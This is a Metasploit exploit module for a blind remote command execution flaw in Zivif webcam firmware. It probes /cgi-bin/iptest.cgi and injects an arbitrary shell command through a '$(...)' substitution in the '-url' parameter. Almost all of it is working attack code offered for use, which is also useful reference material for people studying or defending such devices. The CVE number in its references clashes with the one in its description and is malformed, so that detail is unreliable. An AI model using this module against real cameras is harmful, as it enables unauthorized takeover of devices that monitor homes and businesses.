Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Zivif Camera iptest.cgi Blind Remote Command Execution',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in Zivif  
webcams. This is known to impact versions prior to and including v2.3.4.2103.  
Exploit was reported in CVE-2017-17105.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Silas Cutler (p1nk)' ],  
'References' =>  
[  
[ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ],  
[ 'CVE', '2017-171069' ]  
],  
'Platform' => 'unix',  
'Targets' =>  
[  
[ 'Automatic Target', { }]  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x27",  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic'  
}  
},  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'cmd/unix/generic',  
},  
'Privileged' => false,  
'DisclosureDate' => "2017-09-01",  
'DefaultTarget' => 0))  
end  
  
def check  
res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))  
unless res  
vprint_error('Connection failed')  
return Exploit::CheckCode::Unknown  
end  
unless res.code && res.code == 200  
return CheckCode::Safe  
end  
  
CheckCode::Detected  
end  
  
def exploit  
print_status("Sending request")  
cmd = datastore['CMD']  
  
res = send_request_cgi(  
'uri' => normalize_uri('cgi-bin', 'iptest.cgi'),  
'method' => 'GET',  
'vars_get' => {  
'cmd' => "iptest.cgi",  
'-time' => Time.now.to_i,  
'-url' => "$(" + cmd + ")"  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
  
if res.code && res.code == 200  
print_good('Command sent successfully')  
else  
fail_with(Failure::UnexpectedReply, 'Unable to send command to target')  
end  
end  
  
end  
`